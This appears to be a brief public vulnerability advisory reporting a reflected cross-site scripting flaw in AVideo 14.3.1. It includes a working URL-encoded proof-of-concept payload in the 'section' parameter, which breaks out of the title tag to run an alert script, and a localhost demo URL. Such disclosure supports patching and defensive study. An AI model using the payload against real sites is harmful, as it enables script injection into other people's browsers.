AVideo 14.3.1 Cross Site Scripting

AVideo 14.3.1 Cross Site Scripting

=============================================================================================================================================
| # Title AVideo 14.3.1 Cross Site Scripting

=============================================================================================================================================
| # Title : AVideo 14.3.1 XSS vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://avideo.tube/ |
=============================================================================================================================================

[+] References :

[+] Summary : AVideo version 14.3.1 suffers from a XSS vulnerability.

[+] PoC : Use Payload : ?section=login%3C/title%3E%3CScRiPt%20%3Ealert(%27indoushka%27)%3C/ScRiPt%3E

Demo : https://127.0.0.1/avideo.tube/platform/?section=login%3C/title%3E%3CScRiPt%20%3Ealert(%27indoushka%27)%3C/ScRiPt%3E


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================